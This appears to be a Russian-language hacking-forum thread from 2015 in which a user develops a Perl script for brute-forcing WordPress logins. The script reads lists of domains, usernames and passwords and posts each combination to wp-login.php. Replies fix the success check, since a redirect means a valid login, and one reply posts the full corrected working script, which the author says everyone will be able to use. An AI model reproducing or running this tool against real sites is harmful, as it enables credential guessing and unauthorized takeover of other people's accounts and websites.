[Perl] Пилю велосипед. До аналога WPScan далеко...

Discussion in 'Песочница' started by jslby, 10 Jul 2015.

  1. jslby

    jslby New Member

    Joined:
    18 May 2015
    Messages:
    37
    Likes Received:
    3
    Reputations:
    0
    Накидал на коленке сегодня за ночь код, но он не работает. Возможно для знающих эта проблема очевидна. В целом вот: https://gist.github.com/anonymous/4692681932d816355e73

    Затык идет на чтении кода ответа - он всегда приходит 200.

    Теперь немного объясню по параметрам:
    -d - файл со списком доменов
    -p - тут будет прокси(пока не сделал, сделаю когда разберусь с остальным)
    -w - список паролей
    -n - список имен для перебора

    В планах добавить еще мультипоточность и развивать. Выбрал перл именно для обучения, и проект создается только в ознакомительных целях ;)

    P.S. просьба подсказать только по данной проблеме. Остальное хочется решить самому. Ну и ждите обновлений в этой ветке. Код будет открытый и пользоваться сможет каждый
     
    yarbabin likes this.
  2. Шниперсон

    Joined:
    14 May 2015
    Messages:
    63
    Likes Received:
    13
    Reputations:
    3
    А шо не питон ? Пион по-мойму кошернее
     
    cheebeez likes this.
  3. Swat2k

    Swat2k New Member

    Joined:
    12 Sep 2007
    Messages:
    38
    Likes Received:
    4
    Reputations:
    0
    jslby скрипт рабочий, правда недопиленный, только учти тебе не нужно проверять на 200 код ошибки (он будет всегда при неверном логине\пароле). При успешном логине wp-login.php вернет 301 а не 200.
     
    jslby likes this.
  4. ZodiaX

    ZodiaX Reservists Of Antichat

    Joined:
    7 May 2009
    Messages:
    532
    Likes Received:
    301
    Reputations:
    46
    В перле не особо силен, но почему бы так не проверять
    Code:
    if($resp->is_success){
    print "Found: $thisName:$thisPass\n";
    }else{
    print "Not Found: $thisName:$thisPass $resp->status_line\n";
    }
     
  5. Swat2k

    Swat2k New Member

    Joined:
    12 Sep 2007
    Messages:
    38
    Likes Received:
    4
    Reputations:
    0
    И с учетом моего комментария

    Code:
    if($resp->is_redirect){
    print "Found: $thisName:$thisPass\n";
    }else{
    print "Not Found: $thisName:$thisPass $resp->status_line\n";
    }
     
  6. jslby

    jslby New Member

    Joined:
    18 May 2015
    Messages:
    37
    Likes Received:
    3
    Reputations:
    0
    Да, спасибо. Логику с редиректом понял. Но код запускается и при первом запросе в любом случае всегда отдает след: 301 Moved Permanently. В следующих возвращает страницу логина с кодом 200, даже когда я точно уверен что логин и пароль верны
     
  7. b3

    b3 Moderator

    Joined:
    5 Dec 2004
    Messages:
    1,987
    Likes Received:
    879
    Reputations:
    198
    А где многопоточность?)
     
    _________________________
  8. jslby

    jslby New Member

    Joined:
    18 May 2015
    Messages:
    37
    Likes Received:
    3
    Reputations:
    0
    Сегодня выделю время, если кто подскажет по текущей проблеме. Планирую делать через очередь и обработчик. Как считаете?
     
  9. jslby

    jslby New Member

    Joined:
    18 May 2015
    Messages:
    37
    Likes Received:
    3
    Reputations:
    0
    Только хардкор))
    Перл тру язык с очень гибкими возможностями. И еще он мне нравится
     
  10. Swat2k

    Swat2k New Member

    Joined:
    12 Sep 2007
    Messages:
    38
    Likes Received:
    4
    Reputations:
    0
    Ты передаешь не все параметры скрипту, смотри в лисе что уходит в скрипт. Исправил.

    Code:
    use strict;
    use warnings;
    use Getopt::Std;
    use HTTP::Cookies;
    use LWP;
    use HTTP::Request::Common qw(POST);
    use HTTP::Request::Common qw(GET);
    
    my $cookie_jar = HTTP::Cookies->new(
        file => "cookies.dat",
        autosave => 1,
    );
    
    getopt('d:p:n:w:');
    our($opt_d, $opt_p, $opt_n, $opt_w, $dfh, $nfh, $wfh);
    
    open($dfh, '<:encoding(UTF-8)', $opt_d) or die "Could not open '$opt_d' $!";
    
    while(my $thisDomain = <$dfh>){
        chomp $thisDomain;
    
        open($nfh, '<:encoding(UTF-8)', $opt_n) or die "Could not open '$opt_n' $!";
        while(my $thisName = <$nfh>){
            chomp $thisName;
    
            open($wfh, '<:encoding(UTF-8)', $opt_w) or die "Could not open '$opt_w' $!";
            while(my $thisPass = <$wfh>){
                chomp $thisPass;
    
                my $ua = LWP::UserAgent->new;
               
                $ua->cookie_jar($cookie_jar);
               
                my     $resp = $ua->post("http://$thisDomain/wp-login.php", { 'log' => $thisName ,
                                                                                'pwd' => $thisPass,
                                                                                'wp-sumbit' => 'Log In',
                                                                                'redirect_to' => "http://$thisDomain/wp-login.php",
                                                                                'rememberme' => 'forever',
                                                                                'testcookie' => 1});
    
               
                if($resp->is_redirect){
                    print "Found: $thisName:$thisPass\n";
                }else{
                    print "Not Found: $thisName:$thisPass $resp->status_line\n";
                }
               
                undef $resp;
    
                }
        }
    }
    
     
    jslby likes this.
  11. jslby

    jslby New Member

    Joined:
    18 May 2015
    Messages:
    37
    Likes Received:
    3
    Reputations:
    0
    Да, связка логин:пароль отслеживается. Спасибо! Но по странной причине при первой итерации в цикле так же выдает Found.
    С потоками уже разобрался, сегодня выложу версию с мультипотоками
     
  12. cheebeez

    cheebeez Member

    Joined:
    28 Feb 2010
    Messages:
    35
    Likes Received:
    43
    Reputations:
    1
    [DEL 24]
     
    #12 cheebeez, 26 Sep 2015
    Last edited: 25 Apr 2016
    avin and Шниперсон like this.
Loading...
Similar Threads - Perl Пилю велосипед
  1. jslby
    Replies:
    0
    Views:
    660